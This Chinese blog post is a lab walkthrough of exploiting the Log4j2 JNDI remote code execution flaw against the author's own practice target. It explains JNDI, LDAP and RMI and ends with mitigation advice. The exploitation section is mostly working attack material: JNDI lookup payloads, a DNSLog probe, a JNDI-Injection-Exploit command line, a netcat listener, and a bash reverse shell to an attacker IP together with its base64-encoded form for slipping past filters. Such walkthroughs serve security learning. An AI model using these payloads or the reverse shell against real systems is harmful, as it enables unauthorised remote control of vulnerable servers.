log4j是什么东西?
Apache旗下的log4j是一个基于Java的开源的日志记录工具,主要用于java日志管理,也支持在C、C++、.Net、PL/SQL程序中使用Log4j。
它可以帮助开发者在应用程序中生成详细的日志,以便于调试、监控和分析应用程序的运行状态。log4j提供了灵活的日志配置选项,可以将日志输出到不同的目标,如控制台、文件、数据库等。日志记录功能强大,log4j已经成为Java开发中广泛使用的日志框架之一。Log4j2是log4j的后继者。(删除线但不删表示不重要,看看了解即可)
Apche log4j2远程代码执行漏洞介绍
影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2 利用难度:极低,无需授权即可远程代码执行 威胁等级:严重,能造成远程代码执行,影响范围也很大,小到网站,大到可联网的车都受影响。本题的攻击成果是攻击机可以操作受害机的CLI。
2021/12/09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行,12月10日,当天白帽跟提前过大年似的,疯狂刷src(利用超级简单),让部分src平台暂时停止收类似该漏洞(原来白客也有薅羊毛这种说法),凌晨,很多程序员和安全员被迫起来应急响应,几乎市面上的大厂都受到了该漏洞的影响。虽然过了这么久,大部分现网中的相关漏洞已经修复,但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘。Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。有很多用到Log4j2 的程序常用组件也受影响,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Spring-boot-strater-log4j2等。
分析漏洞原理
在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,而log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
什么是JNDI接口?
JNDI(Java Naming and Directory Interface | Java命名和目录接口)为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定 位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDl在局域网上定位一台打印机,也可用JNDI来获取(也叫定位)数据库服务或一个远程Java对象。JNDI底层支持RMl远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。说明白点,就是java应用程序可以通过JNDI访问远程的相关目录服务。本次漏洞复现就是用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar在攻击者机子上创建一个java类服务(具体是啥服务,我不太懂),该服务有个网址,类似
62.234.60.117:1099/xs0ivf
这种攻击者IP/某目录
,受害者通过jndi访问此网址62.234.60.117:1099/xs0ivf
从而访问该目录,导致受害者调用了目录下的恶意class,然后本地反序列化执行,而恶意class在本题中是一串将受害者自身的CLI交付给攻击者的命令。 JNDI旗下实现了LDAP, DNS,RMI等协议的接口,这下明白${jndi:ldap://l60nzf.ceye.io}
、${jndi:rmi://62.234.60.117:1099/xs0ivf}
两个payload是什么东西了吧~ldap是什么协议?
轻量目录访问协议 | Lightweight Directory Access Protocol,
该协议约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容,用于在网络中的目录服务中读取和修改信息。多年来,LDAP作为一种得到某些数据的快捷方式为企业提供了良好的本地目录服务。LDAP服务器是支持LDAP协议的服务器软件,用于存储和管理目录信息,因为读数据很快但写数据很慢,适用于在读多写少的情况下(是不是有点像数据库,见下文)。 所以有说LDAP是一种特殊的数据库(但其实不是数据库,而是一个目录,目录可以存储数据如文件的嘛。)。
常见的LDAP服务器软件包括OpenLDAP、Microsoft Active Directory、Novell eDirectory等。市面上只要你能够想像得到的所有工具软件,全部都支持 LDAP协议(因为总有open folder按钮嘛)。
RMI是什么协议?
RMI | Remote Method Invocation | Java远程方法调用,通过RMI,Java应用程序可以在不同的Java虚拟机(JVM)之间进行远程通信,调用远程对象的方法,本意是为开发者实现分布式计算和远程协作的目的。
用到的工具 - JNDI-Injection-Exploit
(好像log4j2漏洞利用工具有三种,我懒病犯了,就用一个吧)
工具全称是JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,两种获取方法:
-
官网https://github.com/welk1n/JNDI-Injection-Exploit
把上述项目全clone下来。然后你翻半天都没有jar文件。骗子?:不是,可以用下方代码区构建JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
1. cd 到该项目根目录 2. mvn clean package -DskipTests
代码第二步需要安装maven程序,centos7安装maven命令是
yum install maven
然后mvn -v
查看是否安装成功。第二步的解释:
mvn
:表示调用 Maven 命令;clean
:表示在构建之前清理项目,删除之前生成的输出文件;package
:表示构建项目并生成可部署的软件包(例如 JAR、WAR、EAR 等);-DskipTests
:表示跳过运行测试。默认情况下,Maven 会在构建过程中运行项目中定义的测试。使用该选项可以跳过这些测试,加快构建过程。 -
仔细翻阅官网的README.md,在一级标题"installation"发现小字“Download the latest jar from .”。是的,作者把上述步骤(构建项目并生成可部署的软件包)的最终产物JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar打包好了。
POC - 证明某系统有此漏洞的测试
payload:
${jndi:ldap://${sys:java.version}.z21ikz.dnslog.cn}
// 将z21ikz.dnslog.cn改为你自己在dns platform 中获取到的dns域名解释:这是个针对log4j2漏洞的payload,如果目标存在该漏洞,本payload可以让目标以dnslog.cn为DNS服务商,向它发起一次DNS查询请求,具体查域名1.8.0_312.z21ikz.dnslog.cn的IP。1.8.0_312.z21ikz.dnslog.cn怎么来的?:你不觉得${sys:java.version}像是打印命令执行者自己java版本的命令么,这是个很有用的回显,知道了目标机的jdk为1.8.0_312版本
后面Exp的时候用到工具JNDI-Injection-Exploit,它构建用于受害者访问恶意class的服务,并贴心地准备了适用于3种jdk版本的服务,分别适用于受害者为JDK1.8、JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath、JDK1.7版本:
我是用自己的靶场,vulfocus的官方靶场太卡了。
打开靶场所给页面:
点击?????
简化后的题目已经明示是get请求,可能是出题人心善吧,但是我们还是养成burp抓包的好习惯,得到这么个报文:
我们用在线DNSLog平台获取一个子域名 65b68u.dnslog.cn,此时还没有任何DNS查询记录:
我们构造POC即${jndi:ldap://${sys:java.version}.65b68u.dnslog.cn} 并让GET请求报文带着payload去访问(由于我靶场因为过期了,我重新开启该题目了,端口和报文等信息可能会变化,不要在意):
提示400状态码,请求语法有误,我们猜测可能是因为存在特殊字符,于是对payload进行了url编码,得到%24%7Bjndi%3Aldap%3A//%24%7Bsys%3Ajava.version%7D.65b68u.dnslog.cn%7D,重复上述操作:
200状态码表示成功!去DNSLog平台查看记录:
看来该系统确实存在该漏洞可以利用。两个注意点:
-
根据我的反复实验,好像短时间内不论我发送几次上述的请求报文,受害者只会在第一次攻击中向dnslog.cn发起DNS查询。可能是因为第一次它就已经知晓了1.8.0_312.65b68u.dnslog.cn的IP。此时要么等待受害者机的此dns记录过期,要么攻击者换子域名重新测试。
-
如果上述实验你选用http://ceye.io作为DNSLog服务商,它家是无响应的DNS服务器,所以你就看不到400状态码,只能看到burp等待响应中的空白页面:
EXP - 获取受害机的CLI
攻击机:62.234.60.117
受害机:62.234.14.252:46258 # vulfocus靶场上的一个实例
只有过程
-
在攻击机启用
nc -lvvp 12345
,等待受害者将它的CLI交付攻击机的连接。 -
已知有漏洞,payload是GET传参,我们就不用burp了。命令
bash -i >& /dev/tcp/62.234.60.117/12345 0>&1
。先记着,不用输入。 -
对上述命令base64编码得到
YmFzaCAtaSA+JiAvZGV2L3RjcC82Mi4yMzQuNjAuMTE3LzEyMzQ1IDA+JjE=
。这是由于Runtime执行linux命令时管道符不生效。先记着,不用输入。 -
此时先在攻击机将你的工作目录切换到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录。
命令格式为
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "base64编码后的bash反弹shell命令,即上条命令" -A “攻击机IP”
,例如java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Mi4yMzQuNjAuMTE3LzEyMzQ1IDA+JjE=}|{base64,-d}|bash" -A "62.234.60.117"
命令会在攻击机上创建一个java类服务(好像就是JNDI服务),该服务有个网址,类似
62.234.60.117:1099/eunlbc
这种攻击者IP/某目录
,受害者通过jndi的RMI接口访问此网址62.234.60.117:1099/eunlbc
从而访问该目录,导致受害者调用了目录下的恶意class,然后本地反序列化执行,而恶意class在本题中是一串将受害者自身的CLI交付给攻击者的命令,恶意class的功能实现代码在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar里。 -
我们从输出中取
rmi://62.234.60.117:1099/eunlbc
,payload就是${jndi:rmi://62.234.60.117:1099/eunlbc}
-
带着url(encodeURIComponent)编码过的payload去进行GET请求:
-
查看攻击机是否受到受害者的交付CLI的连接请求:
连上了,现在攻击机可以操作受害机的CLI了。这题的flag被藏起来了,可以用
find / -name *flag*
搜索。 -
注销临时租的腾讯云攻击机!!!
命令释义
bash -i >& /dev/tcp/62.234.60.117/12345 0>&1 是什么?
一个用于反向 shell 的 Bash 命令。受害者若执行将与指定的远程攻击机建立一个反向 TCP 连接,并将 它的Shell 的输入、输出和错误流重定向到这个连接上,从而被获取控制权。
bash -i
:启动一个交互式的 Bash Shell,以便与远程主机进行交互。
>& /dev/tcp/62.234.60.117/12345
:将标准输出和标准错误重定向到指定的 TCP 连接。62.234.60.117
是远程主机的 IP 地址,12345
是连接的端口号。如果你cd /dev/tcp
会发现不存在这个文件亦或目录,看来这处的tcp比较虚拟,是指TCP连接。
0>&1
:将标准输入重定向到标准输出,以便在远程主机上执行命令时可以接收输入。
为什么要进行base64编码?
为了绕过一些限制和过滤机制,以确保命令的完整性和可执行性。在许多情况下,特殊字符(如管道符
|
)可能会被防火墙、IDS/IPS或其他安全设备过滤或拦截。绕过思路就是将命令明文进行编码,在数据传输经过WAF等时,WAF认不出来是恶意代码,于是放行,放行后再解码。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码结果}|{base64,-d}|bash" -A “攻击机IP”
的释义
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
:使用 Java运行这个 JAR 文件,该 JAR 文件包含了执行 JNDI 注入攻击的代码。
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Mi4yMzQuNjAuMTE3LzEyMzQ1IDA+JjE=}|{base64,-d}|bash"
bash -c
:表示执行其后面的命令。
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Mi4yMzQuNjAuMTE3LzEyMzQ1IDA+JjE=}
:这是一个命令列表,用逗号分隔。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Mi4yMzQuNjAuMTE3LzEyMzQ1IDA+JjE=}
大意就是执行echo出字符串的命令。
|
:管道操作符,即将命令的输出传递给下一个命令。本例中即base64字符串传给{base64,-d}
{base64,-d}
:用一个逗号分隔的命令列表来表示进行 base64 解码,会得到命令明文即bash -i >& /dev/tcp/62.234.60.117/12345 0>&1
bash
:将|
传来的命令明文用 Bash Shell 执行。
-A "62.234.60.117"
:指定目标服务器的 IP 地址。
修复建议
-
1.更新log4j至 rc2()
-
2.配置防火墙策略,禁止主动连接外网设备
-
3.升级受影响的应用及组件
-
4.过滤相关的关键词,比如${jndi://*}
-
设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。
-
设置log4j2.formatMsgNoLookups=True。
-
采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。
-
非特殊说明,本博所有文章均为博主原创。
共有 0 条评论